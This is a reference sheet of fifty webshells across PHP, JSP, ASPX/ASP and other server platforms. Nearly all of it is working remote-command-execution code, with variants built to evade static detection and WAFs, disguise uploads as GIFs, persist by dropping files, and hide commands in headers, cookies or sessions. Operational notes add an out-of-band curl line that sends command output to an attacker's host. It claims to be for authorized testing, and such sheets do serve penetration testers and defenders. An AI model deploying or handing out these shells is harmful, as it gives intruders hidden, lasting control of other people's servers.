Webshell Collection — 50 Types

PHP ×25JSP ×10ASPX/ASP ×8Other ×7

Usage: append ?cmd=whoami or ?c=whoami in a test environment. For header/cookie types, see notes.

PHP (1–25)

1. Basic one-liner

<?php system($_GET['cmd']); ?>

2. eval

<?php eval($_REQUEST['c']); ?>

3. assert (PHP <7)

<?php assert($_REQUEST['c']); ?>

4. preg_replace /e (PHP <=5.5)

<?php preg_replace('/.*/e', $_REQUEST['c'], ''); ?>

5. create_function

<?php $f = create_function('', $_REQUEST['c']); $f(); ?>

6. call_user_func

<?php call_user_func('system', $_GET['c']); ?>

7. array_map

<?php array_map('system', [$_GET['c']]); ?>

8. usort callback

<?php usort([$_GET['c']], 'system'); ?>

9. ob_start callback

<?php ob_start('system'); echo $_GET['c']; ob_end_flush(); ?>

10. Backtick short shell

<?=`$_GET[0]`?>

11. shell_exec

<?php echo shell_exec($_GET['c']); ?>

12. passthru

<?php passthru($_GET['c']); ?>

13. proc_open

<?php $p=proc_open($_GET['c'],[1=>['pipe','w']],$pipes); echo stream_get_contents($pipes[1]); ?>

14. popen

<?php $h=popen($_GET['c'],'r'); echo fread($h,4096); ?>

15. pcntl_exec

<?php pcntl_exec('/bin/sh',['-c',$_GET['c']]); ?>

16. Dynamic call (string assembly, static-detect bypass)

<?php $a='sys'.'tem'; $a($_GET['c']); ?>

17. Base64 eval

<?php eval(base64_decode($_REQUEST['c'])); ?>

18. XOR/chr obfuscation

<?php $_=chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d); $_($_GET['c']); ?>

19. Variable variables

<?php $f='system'; $$f = $f; $$f($_GET['c']); ?>

20. Drop + include (persistence)

<?php file_put_contents('s.php','<?php system($_GET["c"]);?>'); include('s.php'); ?>

21. Session-based (command not in URL logs)

<?php session_start(); $_SESSION['c']=$_GET['c']; eval($_SESSION['c']); ?>

22. Header-based — use: curl "http://target/s.php" -H "X-Cmd: whoami"

<?php system($_SERVER['HTTP_X_CMD']); ?>

23. Cookie-based

<?php system($_COOKIE['c']); ?>

24. GIF disguise + .htaccess (AddType application/x-httpd-php .gif)

GIF89a
<?php system($_GET['c']); ?>

25. Multi-executor fallback

<?php @$_='s'.chr(121).'stem'; @$_($_REQUEST['c']) or print(shell_exec($_REQUEST['c'])); ?>

JSP (26–35)

26. Runtime.exec basic

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

27. Output-capturing (Linux)

<%
String c = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",c});
java.io.BufferedReader r = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null) out.println(l);
%>

28. Windows cmd

<% Process p=Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",request.getParameter("cmd")}); %>

29. ScriptEngine (Nashorn)

<% new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("cmd")); %>

30. Java compiler (JavacShell)

<% javax.tools.ToolProvider.getSystemJavaCompiler().run(null,null,null,"-d","/tmp","/tmp/S.java"); %>

31. EL expression (Tomcat)

${Runtime.getRuntime().exec(param.cmd)}

32. Spring upload → save .jsp → use #26

(no code — chain: upload endpoint writes .jsp containing shell #26)

33. JSPX (XML format)

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="2.0">
<jsp:scriptlet>Runtime.getRuntime().exec(request.getParameter("cmd"));</jsp:scriptlet>
</jsp:root>

34. JSF / Unified EL

#{Runtime.getRuntime().exec(request.getParameter("cmd"))}

35. Custom .tag file

<%@ tag trimDirectiveWhitespaces="true" %>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

ASPX / ASP (36–43)

36. ASPX basic

<% System.Diagnostics.Process.Start("cmd.exe","/c " + Request["c"]); %>

37. ASPX output-capturing

<%@ Page Language="C#" %><%
var p = System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false});
Response.Write(p.StandardOutput.ReadToEnd()); %>

38. ASPX JScript eval

<%@ Page Language="Jscript"%><% eval(Request.Item["c"],"unsafe"); %>

39. Classic ASP eval

<% eval request("c") %>

40. Classic ASP WScript.Shell

<% Set s=CreateObject("WSCRIPT.SHELL"):s.Run("cmd.exe /c "&request("c")) %>

41. ASPX reflection bypass

<%@ Page Language="C#" %><% typeof(System.Diagnostics.Process).GetMethod("Start",new[]{typeof(string),typeof(string)}).Invoke(null,new[]{"cmd.exe","/c "+Request["c"]}); %>

42. ASPX base64 decode

<%@ Page Language="C#" %><% byte[] b=Convert.FromBase64String(Request["c"]); System.Text.Encoding.ASCII.GetString(b); %>

43. ASPX one-liner (IIS .ashx/.asmx reuse)

<%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["c"]){RedirectStandardOutput=true}}.StandardOutput.ReadToEnd());%>

Other Environments (44–50)

44. Node.js

require('child_process').exec(req.query.cmd, (e,o)=>res.send(o));

45. Python Flask

@app.route('/sh')
def sh(): return __import__('subprocess').getoutput(request.args['cmd'])

46. Python pickle trigger

import pickle, base64
pickle.loads(base64.b64decode(request.args['p']))
# payload: python -c "import pickle,base64;print(base64.b64encode(pickle.dumps(__import__('os').system('whoami'))))"

47. Ruby (ERB / Rails)

<%= `#{params[:c]}` %>

48. Perl CGI

#!/usr/bin/perl
use CGI; my $q=CGI->new; print $q->header; print `$q->param('cmd')` // system($q->param('cmd'));

49. ColdFusion

<cfexecute name="cmd.exe" arguments="/c #url.cmd#" outputvariable="o"><cfoutput>#o#</cfoutput></cfexecute>

50. China Chopper style (manager-tool linked)

<?php @eval($_POST['x']); ?>                                // PHP
<%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>   // ASPX
<%eval request("x")%>                                       // ASP
# Connect with AntSword/Behinder — password field = "x"

Operational Notes

[Detection evasion]  string split, dynamic call, base64/XOR, header/cookie channels
[Disguise ext]       .php5 .phtml .phar .gif(+.htaccess) .ashx
[Verification]       OOB: curl http://YOUR_IP/$(whoami)  |  blind: sleep 5
[WAF targets]        use #16/#18 style obfuscation instead of plain 'system'

Generated for authorized security testing — Webshell Reference Sheet (50 types).